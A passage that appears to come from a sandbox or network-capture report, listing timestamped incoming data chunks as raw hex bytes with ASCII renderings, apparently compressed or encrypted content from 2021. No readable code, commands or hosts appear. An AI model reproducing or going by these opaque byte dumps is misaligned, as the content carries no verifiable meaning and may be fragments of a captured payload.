2021-11-25 16:27:48 UTC 995 IN Data Raw: 0b 30 ad 44 d6 fd f6 b9 23 8b f9 b4 15 f5 cc d1 89 0c 44 22 98 e4 4f 61 5f f8 4b 17 f7 ce f5 07 30 60 e8 42 eb e5 
ce 34 67 37 be b6 9d a5 c3 11 d3 cd 66 92 f2 2f 7b 9b 5b 9f 9d 45 c7 41 0b a0 d3 29 45 07 d5 17 44 68 e3 2c 62 a3 37 6f 
f4 5f 56 97 8c 68 f5 17 1d c8 5e 98 e5 91 f0 68 42 db 30 c3 5b 69 df bc 49 0a 11 0f 55 cf cf fe 05 f6 9d 22 a3 7b 6f 52 1b 91
30 90 3c f0 4b 94 30 e6 1b ef 3b b3 10 95 31 8d 5c f2 b0 d1 83 b8 6a e6 50 de 6d 6d f9 7d b1 bb 4a ec 5d 6b 85 3c f8 96 
27 93 e1 56 32 49 a5 2d d6 c7 e2 6a ef 4c 28 d8 db ce 82 18 b6 e7 bc 09 d3 96 5f e4 c5 5b 32 7e 3c 90 7b bd 3f db e1 3d 
02 ec 13 06 e9 ff b8 26 9f 17 d4 fd 5a df f5 dd 0f 0f bc fe 4f 61 5a dc 85 a2 35 9c 7f d5 5d d4 d2 06 5e 47 92 33 4c b0 60 1c
02 c8 48 1a 40 f8 fa 5a 20 bc ff 39 20 
Data Ascii: 0D#D"Oa_K0`B4g7f/{[EA)EDh,b7o_Vh^hB0[iIU"{oR0<K0;1\jPmm}J]k<'V2I-jL(_[2~<{?=&ZOaZ5]^G3L`H@Z 9 

2021-11-25 16:27:48 UTC 996 IN Data Raw: a4 14 42 95 5a 7f 73 8b 68 21 cc 78 07 26 77 a8 7e 19 02 f5 2d 5b 85 67 58 78 5b 15 8a 64 ec 7f 62 65 ba 4d 
fb a9 ba 1a 34 cf f5 d2 82 b1 e4 08 ea c7 c1 89 34 ed 62 24 2e 45 c3 d3 7d 58 7c 0e 3d 76 82 f3 66 ac f5 02 7b 55 9f 65 
b1 3d 8e fa b1 21 5f 2a a4 c7 b2 08 5d 91 64 55 ed d2 42 32 ff d6 1f b6 01 e1 a2 29 4d 7d 63 c1 59 19 56 3d e1 25 6f cf d4 
96 4a 72 55 5f c2 7a 57 fd d6 de 42 79 0d 13 2c 5b 53 f7 d4 f1 dc be 2f 45 a3 69 76 a3 9f 12 f7 7d d3 dd c1 2f fa 35 60 e7 
f1 3e c4 27 1d 08 cc c8 71 64 62 d2 e7 6e e8 f0 de b3 37 94 60 2a 10 17 66 4e 02 3c 2a 2c 07 71 44 5a d5 8f 5e 6a da 15 
5f 95 d6 63 fc 54 17 77 9d e0 a5 ed ea b7 ba 26 53 a9 c0 cf ad c3 17 72 a9 da f3 a4 0b 66 19 08 44 85 1b 56 d7 38 6e f2 
3b 88 ea 56 fb a7 a2 a8 5b c9 16 17 16 7d c4 30 6e 
Data Ascii: BZsh!x&w~-[gXx[dbeM44b$.E}X|=vf{Ue=!_*]dUB2)M}cYV=%oJrU_zWBy,[S/Eiv}/5`>'qdbn7`*fN<*,qDZ
^j_cTw&SrfDV8n;V[}0n

2021-11-25 16:27:48 UTC 998 IN Data Raw: 75 f0 31 d3 f0 55 04 e9 75 6d e2 4f 67 93 61 ce 9e 1b fb 69 e4 da 11 36 1d 29 5b 33 9b 8d 0f 80 94 8b e8 ea 20 
9d 13 13 5d 42 06 c7 90 75 3f 0a bc 5c c9 b2 2c 67 0f b1 61 f2 31 ea 10 06 4e 81 26 83 d0 cf 47 95 78 86 cf 2a 69 c7 15 
77 f4 27 17 2a a2 31 f1 e1 6d 5e 73 8b 3d ab 5d b3 f3 ca 2c 1e 66 31 da fa 1c 32 1e 04 c5 f1 64 34 1d 4d 1f c7 7e d1 b5 87
ae df 97 00 e6 c4 d5 83 a7 5a d0 ce 33 80 59 f3 0e 1b d0 ae e8 05 d5 1c fa d3 8b 60 e0 03 c6 f2 d2 78 72 8c 38 50 cb dc 
28 e9 73 86 99 8f 49 cc 18 2e 40 18 e3 c2 65 b8 70 05 3a 11 17 07 41 0a 0d 76 b1 53 9c 76 fd 61 9c dc d6 9f 00 4e 47 9f 
4e 1e 9f bc bc 03 ef fa 1c e8 c6 ed 22 02 08 35 7e 1f 18 80 07 1f 00 03 c9 52 2e 2f e5 2e 2a e5 e7 09 67 71 39 0f 41 60 48 
83 67 44 e7 5a 02 9f 08 5b 6a f8 79 77 3e 06 84 
Data Ascii: u1UumOgai6)[3 ]Bu?\,ga1N&Gx*iw'*1m^s=],f12d4M~Z3Y`xr8P(sI.@ep:AvSvaNGN"5~R./.*gq9A`HgDZ[jyw>

2021-11-25 16:27:48 UTC 999 IN Data Raw: 04 ed 47 90 05 75 59 ec ca e8 17 b4 c8 71 55 18 6a e6 cc a8 c8 1b 80 b1 96 a5 2c 7f 2f ff 37 72 19 5f 37 50 5a 
d4 4d 2f ff 2f 5c 3e 81 5f 3e d0 ca 5a 54 6b 04 5e 1e db 3e 0e f2 da c2 96 72 6d 3b e8 fb 5e 6e 3a ca a1 70 95 0b a0 33 f8 
e0 a0 0c 65 54 50 e6 db 6e 56 99 d0 9d 18 9f 5e 02 7b 20 6a b1 71 66 58 cb 0e db c5 04 2a cc a2 09 a4 4f 7b d2 f1 a7 7a 
41 cb 21 7b f3 50 ff e6 32 db 68 9c c7 56 71 60 fe 15 64 29 21 c7 fb 34 99 0d a7 d0 f5 62 df 0e a7 24 b8 6d 6c 2c fa 22 64 
c4 3d 8e 96 55 f9 8c 37 ba 29 30 e8 0f c6 d3 c7 9b 90 11 2b aa 57 86 9d 42 41 ac 55 d9 a8 d7 db 4b c7 9f e4 78 ec 9a 07 
92 12 a3 5b d0 90 01 8d 5e 71 3c 0b bb 79 8d d6 38 d0 c2 b9 7c 65 59 28 30 c5 9f d9 b8 6b 4c 82 f2 ad a5 64 d0 8e 30 c2 
e5 88 98 06 50 72 6f 74 47 a3 d0 df 67 9f 68 4a 
Data Ascii: GuYqUj,/7r_7PZM//\>_>ZTk^>rm;^n:p3eTPnV^{ jqfX*O{zA!{P2hVq`d)!4b$ml,"d=U7)0+WBAUKx[^q<y8
|eY(0kLd0ProtGghJ

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1000 IN Data Raw: 5e 23 d9 f1 0c f7 ca 62 2c 16 bf db b7 6c 8a 68 86 0d 60 e9 c6 b0 67 d9 7c 75 bb 4b 56 88 7b 2f 31 97 e5 0c 8b
cb 37 dd e9 74 6c 6a eb 96 c3 e6 9f 3b ea 6f 6c 50 62 98 4c dd 5b 2f 9b 9b 65 0b 52 60 fa 77 81 21 7b fe cf 93 76 5e bb 21 
72 ad 8f c7 2d ef e6 46 13 7b 3b ae e0 4c eb 65 60 f8 93 1e e8 3b ac ce d7 af 81 fb 80 50 3c 1a 75 fa 28 82 82 90 1b 7d 
19 00 3d c9 5f ae 8d b0 a7 92 3d 6d 66 27 08 bf 83 ec 95 d7 20 c5 fc b9 39 9a 74 8a c4 9d 83 d9 80 c9 df 66 c8 0c 8d 20 
52 99 1a ac a0 9b e5 75 cb 8e e1 2e 1d 6c 97 de ee 34 77 71 01 99 aa 9a 59 59 b1 b0 cf 82 ea 37 37 66 aa 35 0d b7 46 
ed 89 fb 62 20 f9 98 10 9a d9 8e 15 6d 0b b4 60 25 82 aa 66 0e f0 84 bc 53 a8 ee e8 46 b9 c4 65 02 36 de f7 69 46 4d e2 
ce be 2d ac 33 3d cb 91 2d e8 dc 58 d3 91 6c 35 67 29 
Data Ascii: ^#b,lh`g|uKV{/17tlj;olPbL[/eR`w!{v^!r-F{;Le`;P<u(}=_=mf' 9tf Ru.l4wqYY77f5Fb m`%fSFe6iFM-3=-Xl5g)

2021-11-25 16:27:48 UTC 1001 IN Data Raw: db 68 6a 25 0a 60 44 33 a6 7b d9 91 27 17 78 5a c2 3a 8f 0d 24 37 95 01 58 1b bb 91 5a 20 49 6f 03 5d fa 58 
96 18 3a 1d 3f 9c e6 ec dc ed 70 f4 30 8c f6 08 08 71 64 79 ba b5 64 64 d6 6e 41 b2 4d 6a 47 b7 c0 fa d3 29 67 99 94 bf 
52 a5 d6 6e 81 6d a4 33 35 db e9 94 8b 4c 9e 6f 3d 05 09 fc b0 71 d4 6f b9 29 34 b6 3d 34 46 c3 e9 64 d4 ef fb 2a 03 24 
2b 84 23 bd 9f 1d e9 a4 5f 57 df 8a bc 70 b3 2e a9 5c 5d 65 1e 5d cd a4 52 1d 3e 04 38 e5 50 e2 78 72 6d 58 63 b8 19 88 
86 c9 8c e5 87 3d d0 4f c2 68 fb 3e 8f 82 6b a7 a0 e9 9a 29 a7 6b b5 44 15 82 a8 78 35 51 4e 91 9e cc dd 86 45 25 93 b5 
3f 82 f9 8d 7b 41 53 34 ca 88 02 88 be 1b e4 b2 98 47 0d 25 e5 51 c2 49 5f 44 55 32 dd 66 1a d7 0a b8 39 f4 fc ac 85 c1 
d4 07 5a e3 0e db 22 9b 36 9f 1b 07 49 6c 92 83 51 5f 4f 
Data Ascii: hj%`D3{'xZ:$7XZ Io]X:?p0qdyddnAMjG)gRnm35Lo=qo)4=4Fd*$+#_Wp.\]e]R>8PxrmXc=Oh>k)kDx5QNE%?
{AS4G%QI_DU2f9Z"6IlQ_O

2021-11-25 16:27:48 UTC 1003 IN Data Raw: 26 a5 40 89 94 20 64 4a cf 9e da 96 33 37 4e d3 be ae 12 83 b3 85 f5 17 0b 26 45 da d6 10 46 05 64 52 6e 5b 
4b ea d7 27 24 05 40 19 e8 16 b6 03 a4 f6 55 bd a7 c7 0f c0 c6 02 84 2d d6 43 d6 af e4 96 26 c9 30 f2 39 8e 85 47 86 40 
62 13 67 86 94 e7 89 7c 79 63 f5 42 89 2c e6 d8 ee de 57 8a a7 be 3f 81 56 87 be cb 8c a3 ac c6 cf d6 59 8f 1f 06 b6 ad 
73 ce e8 85 bc db b7 f8 17 ae 60 ef 03 16 b8 db 09 34 01 9c a5 1f 20 67 c3 13 44 bc c4 27 e1 1c 45 6f a3 68 e9 ef 89 45 
b9 2b c9 cd 33 56 7d c3 8a c4 12 91 fd 63 52 ba 61 68 53 a4 ed 2b d2 0e 12 69 73 e3 32 2b 97 0f 90 64 be 65 d3 f7 31 fd 
7b 36 fd 00 d3 7f 64 d3 3f 62 fa 5f d9 f4 7e 71 34 14 07 ff 64 21 df c9 bb 9c 92 e6 c6 df 2a ae 05 7d 70 8a c0 64 70 4b db 9f
84 d6 d5 13 48 ce a6 16 4e 67 43 13 ff 40 cd b1 d3 
Data Ascii: &@ dJ37N&EFdRn[K'$@U-C&09G@bg|ycB,W?VYs`4 gD'EohE+3V}cRahS+is2+de1{6d?b_~q4d!*
}pdpKHNgC@

2021-11-25 16:27:48 UTC 1004 IN Data Raw: a1 70 6d f9 66 be 52 da 92 13 de bf df 79 2e bf ad 98 f9 ed ed ca db 1d cb ca fb 1b 3b 5b db e5 0a 9e d5 2c 94 
a3 16 36 36 b6 31 84 12 7c 4f d6 5f 28 eb 3c ff 5e de b7 76 b6 b7 ab 3b 85 3c d4 51 2e 55 aa fa bb 77 e5 92 5e 48 96 28 
14 3c 9d 7d 35 62 10 ca bb cf 95 ad 92 9c 50 d9 d8 a9 3e 03 e8 ba 29 27 3e 57 2a 5b 52 ae 1d 91 29 4a 13 09 f3 58 cf e9 
2c c2 e4 9a 84 4a 37 46 65 84 47 aa 12 d9 1f 61 50 77 ae 3c 6c 82 8d 64 b1 3d 19 0d 1a bc 57 78 f0 53 9c 4b 2a bf 2d bf 
83 75 03 e0 7c 1f 39 f3 f2 9a 96 54 00 08 ab 96 01 5d 3b cf 6d e8 01 77 3b 82 da 2a d5 b7 58 5b 75 67 1b 6b 8b 6a e2 ee 
51 f4 62 74 45 aa 6f 61 3d 6f 10 eb bb cf 79 aa 08 1e 2b cf f9 0e 7b dc 79 ee e2 c3 26 0d d2 32 68 88 12 0a 79 c4 78 09 
28 7b 59 4e a4 89 82 18 6e e1 2e 25 20 8b 40 5c de f3 
Data Ascii: pmfRy.;[,661|O_(<^v;<Q.Uw^H(<}5bP>)'>W*[R)JX,J7FeGaPw<ld=WxSK*-u|9T];mw;*X[ugkjQbtEoa=oy+
{y&2hyx({YNn.% @\

2021-11-25 16:27:48 UTC 1005 IN Data Raw: 2d 16 15 6c 72 7b 59 93 7e b2 c9 42 55 88 e2 ae 20 7f 27 ef d1 bc f7 d9 4c c7 79 10 fb c8 83 7a eb e5 a0 a7 40 
e7 46 ce 1f ba 23 b2 70 83 9a 1d b0 3d 3d 61 de 06 d5 d2 f8 79 ab 30 7e d8 fc 1c 02 f0 1c 02 a9 74 cd 19 2c 01 95 01 06 
b3 58 65 c3 ab 89 fc e5 eb 5a 02 6b ea 12 15 a9 44 25 59 a2 bc a5 2e 52 95 8a 54 93 45 2a e5 da 9a b2 cc 96 54 66 2b 
2a b3 4d e3 a4 6e 65 db f0 98 c4 4c 2f 6c c0 1d 3e 36 7c d0 5e fa 4a bf f1 64 36 1e 17 a0 5b 46 73 4c 0a 65 81 77 91 50 
01 da 88 5e 00 01 ac 83 d0 3d 94 2c 4a cf 2e ac 7b cf 1e a0 6f e7 d9 87 ee 6d e9 5c f0 af bc ca 83 18 0f 6a 56 a1 0c 0b 21 
4a f4 95 ea 46 65 7b 1b 56 11 4b c8 8e 1c 46 48 45 1f 44 77 0f a4 3a b3 35 6c e3 21 85 c7 57 b6 89 1e 10 7b f6 ab b4 9c 
fb ca 35 13 89 ce 66 79 bb a4 43 73 05 29 91 f4 a3 e4 
Data Ascii: -lr{Y~BU 'Lyz@F#p==ay0~t,XeZkD%Y.RTE*Tf+*MneL/l>6|^Jd6[FsLewP^=,J.{om\jV!JFe{VKFHEDw:5l!
W{5fyCs)

2021-11-25 16:27:48 UTC 1006 IN Data Raw: 72 5e 83 d0 ff ef ea 5e c2 8a ec ea 26 46 c7 d1 ac a2 16 05 c8 b1 af 40 22 bf d6 49 5b 55 7e ac 5c eb 7b ee 66 
c5 74 37 cb c2 8a 96 b2 91 b8 3a ea c9 b5 b3 5b 79 77 af ad 3f 79 57 3e ee 6c b4 63 27 32 0f 4f 90 d8 cc b0 82 47 63 8d 
b3 04 41 ad 25 ed 82 03 3e 0d bc f4 fe d3 1d df c7 a3 3d b6 82 6e 4c ac 93 5b c0 20 2e 58 ec b0 78 64 69 9a 90 b3 41 df 
c3 30 0c 09 e7 d5 cb 21 3b bb e9 80 d0 b2 b3 15 2f f9 20 a6 62 cd b8 e3 7d a7 d7 04 ee 07 73 22 ae 98 ad 95 6a d1 56 98 
9b 07 c4 00 09 b9 f9 92 0e a4 e3 e6 61 60 81 6a e8 17 5b df 01 01 c6 ea a2 05 18 7e 7d 9d 89 20 4e 1e d5 af e7 36 e9 fe 
3b 20 42 e3 9e b6 93 6f 03 0d 6d c0 8a 88 74 54 d1 0d fc 00 25 9d 7c 07 d6 a6 0d e0 cc cf 5d dc 7c 36 4e 13 6c 12 7b 78 
72 ab 3f 9d e0 a4 89 60 b4 2d ad fe a1 b1 df 3c f8 f8 
Data Ascii: r^^&F@"I[U~\{ft7:[yw?yW>lc'2OGcA%>=nL[ .XxdiA0!;/ b}s"jVa`j[~} N6; BomtT%|]|6Nl{xr?`-<

2021-11-25 16:27:48 UTC 1008 IN Data Raw: 4f b2 97 d8 60 cd bc 79 99 b2 84 a1 b5 6c 9d 1f 8e 96 e3 87 87 27 0f c3 d3 c9 68 ec 4f a6 8f dc ac 68 60 a4 92 
58 47 8a 35 86 5e 3f 85 32 02 03 10 2b 98 59 12 61 dc eb 60 6e 0c 14 0c b0 13 6b 95 f6 bc 36 90 98 0f 9d 58 5e 68 9b 4c 
f2 c0 bd 27 3c d1 4d 97 c9 61 d3 26 e7 83 2c 6b a1 70 3d 37 79 86 12 cf c0 41 02 12 d0 66 43 d0 e0 83 21 3b f7 c6 8e 77 
9f 3f 0e 1c 0a eb bc f0 5b 31 98 fa 13 f4 37 07 21 46 06 fa 2a f5 f9 7a 41 07 f8 09 a9 cf 89 53 a2 c6 b0 6f 69 22 41 8b 0e 
9b c7 aa a2 f1 45 71 f0 97 5d 4f c9 83 c8 b1 5b 14 dc 3d 98 75 26 bb 4b 71 1f de 38 c5 b8 3a ef 37 6d 58 b2 28 52 9b e4 
8d c8 36 0c cd 27 a6 34 8a c5 13 b7 71 31 18 03 89 85 ee 66 d9 60 db e5 ce b5 b1 4e 0b 24 56 f0 fc ac 8d 88 9a 62 0c 41 
1a f3 05 0a 42 61 d6 7a 7e 1e 02 3a 13 51 1d 24 a7 
Data Ascii: O`yl'hOh`XG5^?2+Ya`nk6X^hL'<Ma&,kp=7yAfC!;w?[17!F*zASoi"AEq]O[=u&Kq8:7mX(R6'4q1f`N$VbABaz~:Q$

2021-11-25 16:27:48 UTC 1009 IN Data Raw: c5 19 17 ee bd 3c dd c2 0e 84 e7 63 f4 a4 27 24 d5 3c 2e 2f ba a9 46 00 0f 81 c7 ab 68 71 59 51 19 44 8a 9c 
0e 03 64 13 a7 1f 72 e4 21 40 81 94 3f bf e0 10 c3 e7 be e0 66 cc 67 27 b9 02 48 c6 9b 04 78 f9 2f 62 e6 e1 9c fb 92 59 36
92 0b 02 3a 31 c6 3b a1 62 03 54 98 6f 15 f4 22 cc b7 38 52 4c da a2 13 3f 28 2d 08 cd 33 9a 05 de 1e c0 e2 e9 a6 27 9d 
cc 15 c4 bc 40 f7 5c 78 2c c6 11 3e 00 dc 66 c2 40 30 5e 0e 82 14 ef 07 bb 70 98 44 cc 97 68 4f d1 00 c5 9a bc 73 48 93 
9d d7 3e e4 0f fb c6 67 b6 ac 1f bd bc d0 11 15 a2 81 3b 55 49 b6 b5 0f b7 ec c2 96 3a 1d 10 d1 b9 ff af 13 c5 2b 2e 9b 6c 
c6 3e dc a2 cb 34 ba 44 d6 8e 99 e0 9d 74 ad 75 ad 8f 54 03 ca 27 95 d4 d7 aa c9 2c 67 47 fd da fe 2d dd de 73 02 2a f2 
39 e4 ac c6 39 85 d7 68 83 e2 8d c4 e2 ff d9 62 45 
Data Ascii: <c'$<./FhqYQDdr!@?fg'Hx/bY6:1;bTo"8RL?(-3'@\x,>f@0^pDhOsH>g;UI:+.l>4DtuT',gG-s*99hbE

2021-11-25 16:27:48 UTC 1010 IN Data Raw: 01 e0 2f e8 27 6e f3 68 01 0f 93 60 ca ae 48 5f d3 c4 54 33 70 ae 92 e2 1c 95 e4 9c 33 ee ae aa 06 31 87 59 64
3b f2 f6 a0 00 87 30 55 46 18 ab 4b 8b e2 a1 8b 90 92 18 52 9d 46 1b 03 10 fe 87 6e 46 ff 4f ee 81 ee d7 f3 7f ba 3e 1e eb 
86 1c 77 b3 d1 d4 36 72 b6 8b b2 13 15 1b d1 0b 92 f1 b0 43 f1 53 81 0c 54 28 0b 05 ca 50 6c 4e 45 7f ff af 81 82 e9 20 
89 3c 84 2c 80 ea 1c 59 af 3b 37 a6 49 4a b5 71 8f 17 83 b8 fe f2 ff 5d d9 43 ae f3 a1 3f 72 f2 57 b6 91 52 77 af 4a 06 90 
e5 b5 6e 2e cb 53 c6 1c 4b 6f eb 93 0c ec f8 fd 00 e8 f2 cc b7 3d 7f 02 cb 05 bb b7 3d 75 76 88 6e f6 a3 d1 d5 dd e8 a9 b6 
c6 a2 ef 03 7e 63 af 35 bc 77 2d 04 c5 89 ce da 19 1d 14 0f 2c bf e8 3c 4e fd 43 46 70 9d 77 f0 9f 9f d2 e2 a7 cd 56 9c d4 
12 fd 2b ef b0 0e fa 46 c7 88 22 99 77 37 
Data Ascii: /'nh`H_T3p31Yd;0UFKRFnFO>w6rCST(PlNE <,Y;7IJq]C?rWRwJn.SKo==uvn~c5w-,<NCFpwV+F"w7

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1012 IN Data Raw: 33 d3 ef 79 ad 2e 13 f9 a5 9d 1d 64 ed 3c 18 de 5e 4e 83 7e a8 c1 9c 48 64 6f 39 d9 ec 57 4f 68 e5 1c 4e 0f 6d 
f8 d2 f5 3d 66 25 e6 1e b1 06 fb b6 8f 81 a3 41 f9 4e 7e ed cc 8d 27 61 21 6d 79 17 a3 5b 7f c8 3e f4 8d 36 06 2f 69 8d d1 
e6 c1 92 1a 5c c8 35 40 c1 42 49 98 5f 75 7a 3a 9a f0 0c bd f9 75 aa 6f 9f 9c 2c de ba 7c 88 51 db ce 0b 37 e0 a2 aa 03 cf 
cf 19 dc f1 18 d6 51 81 74 af 14 45 58 b4 3b 2b e0 cd ea 9c 66 59 0d 52 bf 9f 9f 91 8c f9 64 86 cf 52 ff 71 5f 5c 7a 15 07 72 
0d bc 2b 0a 78 11 a7 5e bb 98 c2 ca f3 73 89 4d 9a 0f dc 52 f4 2b 4d aa b1 8d 5f 58 63 83 b1 c5 37 0f 0f 54 d6 5b 74 fc 95 
26 9a 37 60 0e 43 1b e5 3d b2 b3 6b a6 b7 51 ad ec f1 9d 19 8c 7b 7d 43 e1 5d 34 53 4a d2 a2 3b 76 12 d7 ff 74 92 17 fe 
34 c4 1d 3f d1 1d 38 f2 6b 2f 3a 4d 71 
Data Ascii: 3y.d<^N~Hdo9WOhNm=f%AN~'a!my[>6/i\5@BI_uz:uo,|Q7QtEX;+fYRdRq_\zr+x^sMR+M_Xc7T[t&7`C=kQ{}
C]4SJ;vt4?8k/:Mq

2021-11-25 16:27:48 UTC 1013 IN Data Raw: ee 93 d0 e1 3e 00 ef fd d6 37 4b c6 8f 81 89 47 5b a7 f9 cb 81 e1 f6 f4 da a5 3c ac e8 06 21 8f 8d b0 b2 d4 06 
bd 15 cd 70 ca e5 b7 04 0e d3 e2 61 74 89 94 ed 79 58 3e cc 31 7c c2 a0 6a d1 c6 70 41 c3 11 be 45 a1 68 e1 b5 82 45 f8 
87 04 d0 07 f5 3a 17 84 ab 6f 18 3c 27 87 99 0e 4d 4c 3c a3 ce 67 71 bc 31 19 dd 91 03 1c 0c 5a bf 09 bc 1a 73 03 87 55 
fc e7 74 62 df e0 b6 39 f5 fc 86 fc b2 6e 30 97 d1 b5 3a a0 82 df 80 ee 39 46 17 b6 bd c4 1b ba 80 a0 cf 9e 49 a9 fc c5 18 
2c 2d 82 97 d4 99 68 2a 2a f6 9e 9f 77 4b a5 b7 b5 36 db 28 1d 60 cc 48 72 fb 33 b8 b5 e8 86 bf b8 92 77 9f d1 15 8d de 
e0 c6 67 c8 4d 30 74 6d 1e a0 93 c5 8c 04 54 b4 99 66 8a b8 40 6b 4a af e6 2f ed 27 7b 77 d9 85 ba 88 1a a0 67 51 03 0f 
fa d9 c5 48 42 50 33 34 83 81 bf d7 ef 9e 9f ef 8a 
Data Ascii: >7KG[<!patyX>1|jpAEhE:o<'ML<gq1ZsUtb9n0:9FI,-h**wK6(`Hr3wgM0tmTf@kJ/'{wgQHBP34

2021-11-25 16:27:48 UTC 1014 IN Data Raw: 1e dd b5 c1 2e bf 96 6f 59 76 01 82 f4 32 16 73 34 12 fe 92 4d 44 27 86 d8 10 d4 4f 4f 0f 5b 8d fa 45 eb e4 f8 e6
c3 d9 49 7d bf 51 3f bf c8 8e 86 74 a6 28 71 f6 27 1c db 6e 84 7b be 25 63 f1 86 c3 e4 fa 23 35 7a 58 bf 3c 6e 7c 5a da 8a 
68 a4 0f ba f6 0c 2b 65 a3 8a f5 4e 17 d6 4b f4 ba a0 d6 f8 08 94 cd 76 04 b9 53 9f a2 32 29 d2 5d b9 59 7d 25 b9 1f 94 9b 
3b 29 bf 83 b9 71 9f ac 41 f8 5b e3 35 22 25 11 a9 9c 5e 65 7b ff 6c b8 6a a9 69 79 1f d1 67 1f cd 0a 45 ad c0 e0 4a 95 53 
ee a9 33 c0 af 53 59 5f b6 a3 0d f2 b2 70 07 54 ce bb 08 31 bd 38 62 16 dd 96 3c 14 76 54 7c 9b 0d d9 e9 a9 e2 99 18 83 
a8 27 e8 4a f9 30 5c ad e2 17 45 5c 80 c7 34 f1 c6 db b1 f7 43 e6 fe 20 cd 2e 0b 5d 4b 49 64 77 6a 4c df fe 39 a4 a8 9d d9 
53 e8 20 92 96 de 61 b8 89 9d e6 36 d4 
Data Ascii: .oYv2s4MD'OO[EI}Q?t(q'n{%c#5zX<n|Zh+eNKvS2)]Y}%;)qA[5"%^e{ljiygEJS3SY_pT18b<vT|'J0\E\4C 
.]KIdwjL9S a6

2021-11-25 16:27:48 UTC 1015 IN Data Raw: f1 6c 54 97 78 37 9c 94 0a 3f 23 9e 9d 0e 25 e7 4f 3e 74 64 da 6e a8 8d db e2 e4 29 6d 5e 30 9b bc af d7 ce 
22 87 17 a4 4a be b3 2f 2b 03 14 dd 7c 08 ca d9 0f d0 b7 59 ff 6c 5d 6c 57 b3 db 59 49 04 cc 5a f4 3d 74 64 94 26 88 f0 
a7 e9 46 9b 3c 78 66 1d 35 ae b8 5a 98 b3 5f 87 4c 8c 3b cd f4 18 cf 15 89 9d ae 78 f2 33 04 7c 43 f9 b9 da dc 7a 87 61 
97 fb e4 b4 d4 b7 1c 71 5e 7f 6a 3b 61 11 fa 03 6b f3 d3 6c d2 37 af 34 f6 c1 7c fd 1a 31 ff fa 95 66 f0 94 4d 5f 84 70 81 6f 
5a 21 45 03 81 57 d0 a8 c4 0d 2c 1c b3 31 94 bb 9e 27 0c f3 74 d2 4f 44 f1 66 dd 15 3b 2a c7 a3 1c 82 01 72 c9 6c e8 15 
73 0d 71 b8 9b 91 78 6e c0 a6 41 ce ed 07 e4 a4 09 fa d2 5a 92 f1 f3 63 3e bc be ac 35 e8 c2 76 72 2e 4e 4e d6 44 8e 6f 
dc 60 a3 fc d0 3c 88 6b f2 e8 88 10 6e e8 db 8d dc 
Data Ascii: lTx7?#%O>tdn)m^0"J/+|Yl]lWYIZ=td&F<xf5Z_L;x3|Czaq^j;akl74|1fM_poZ!EW,1'tODf;*rlsqxnAZc>5vr.NNDo`<k
n

2021-11-25 16:27:48 UTC 1017 IN Data Raw: 0d c6 b6 75 fc 0d be ef df 9c d6 cf ea 47 cd 8b e6 99 a9 05 2c 34 f2 cd d8 9e c0 aa 0b 72 87 66 34 7f 5c 34 8f 
71 88 a8 d6 c6 c9 d1 69 fd a2 f5 e1 b0 69 6a 91 3a 43 55 83 98 0b f2 54 80 8e 26 52 99 a3 16 0c ef f1 47 39 f3 80 89 ca 9a 
71 d6 6c 34 5b c0 c1 6f 2e 8f eb df ea ad c3 3a d5 2a 5c 3e 6f 64 d7 15 83 93 c9 4d f3 ec ec 04 e0 e4 54 72 e3 33 d6 d5 f8 
54 3f 3e 6e 1e 8a af c2 43 97 7f 3d 3c a9 ef 33 97 92 9b 03 68 06 f1 81 11 96 b8 63 6f 9b b6 94 b2 14 45 2c 10 83 3b 24 
07 e5 21 35 28 d3 3b eb 49 82 5e 02 39 d1 2b b9 33 59 0a 38 e3 7d 96 7d f4 92 cd 4e 53 1c f1 13 34 db f8 74 76 82 ee 30 
2c 1d c6 f3 e4 1c 46 70 04 f2 0d cc fe b3 93 16 8e fb d0 9b 00 3f ca f6 8e 31 e0 53 ce bf 93 6d 7d 4a b5 d5 e8 23 dd 9d 5f 
b0 49 a8 19 80 48 a0 40 c0 1d d0 1f 20 fe 23 
Data Ascii: uG,4rf4\4qiij:CUT&RG9ql4[o.:*\>odMTr3T?>nC=<3hcoE,;$!5(;I^9+3Y8}}NS4tv0,Fp?1Sm}J#_IH@ #

2021-11-25 16:27:48 UTC 1018 IN Data Raw: 13 25 a9 b4 db d6 53 6b 1f f5 4f fc cb 08 85 b4 29 fe 80 f6 1d a0 75 10 fd d9 af 66 7c b8 3c 38 80 4e 60 9e e8 
71 d1 10 81 f6 f8 e8 4f 14 8a 95 68 5c 05 d2 23 0c d2 c9 c1 01 d0 5e f3 14 84 ea 1b 78 06 62 3d 3c 8c 12 e0 19 a6 12 34 
8b 60 f3 34 f6 4a f9 48 90 3f ff 04 b0 49 df 53 e9 8b 00 3e f3 c7 be 3d 3d ca e8 f4 02 32 e5 c8 de c3 74 43 74 7d 80 a1 c3 
a9 72 c6 a7 59 fc ce f0 4a ef 9c 75 24 df 17 83 13 02 df 58 88 bf 7b 25 91 7f 02 45 8e 8d 0c 0e 9b 78 62 b3 8c 4d 31 cd 38 
b9 f8 84 fa 1b fd 2c 6a fc 
Data Ascii: %SkO)uf|<8N`qOh\#^xb=<4`4JH?IS>==2tCt}rYJu$X{%ExbM18,j

2021-11-25 16:27:48 UTC 1018 IN Data Raw: 9c f8 d3 22 72 fa d4 57 b5 7d 3e 16 06 28 32 a2 44 8f 68 4a 02 e2 3d bb 3c 25 35 56 7a 41 d5 f2 b8 75 fe 09 93 
c5 53 a4 b0 d3 cf 22 f8 5a 1e 85 c4 0e d3 ca b5 80 44 b9 b2 c1 50 5d 34 7f c0 00 e1 5f ce 03 39 ff e3 7c 8a b3 a7 85 2c f9 
62 02 2a dc 22 ac 9c 2a 47 e4 08 5a 3d bf fc 70 d1 ba 38 44 ce 18 3d a2 09 f3 14 19 eb 39 a2 8a 3d c1 62 de 3c 6f 9c b5 
44 ba fc 46 66 2c 64 02 98 9f 3f e1 f9 a6 8b fa 7e fd a2 0e ec 92 3f 2d c2 18 4a 7c 4b c1 3f 52 82 df 02 f0 8f 4f 8e 81 78 f0 
2f 10 cf e5 c5 61 0b 5f f9 03 80 7c 76 72 0a 53 ab be 0f 9c 4c 93 5e 70 39 69 11 f7 60 bf d8 b9 d3 33 d0 91 31 29 7a 5c 09 
6e d3 eb 2c 64 f4 2d 25 c8 c7 29 90 8f 4f ce 8e d0 24 c5 7e 01 ac 93 cb e3 fd e6 3e b0 fb b3 63 42 67 2a 61 f1 e8 0b 98 be 
53 dc ee 45 50 1d 2b a1 fa 8c 74 50 3f 
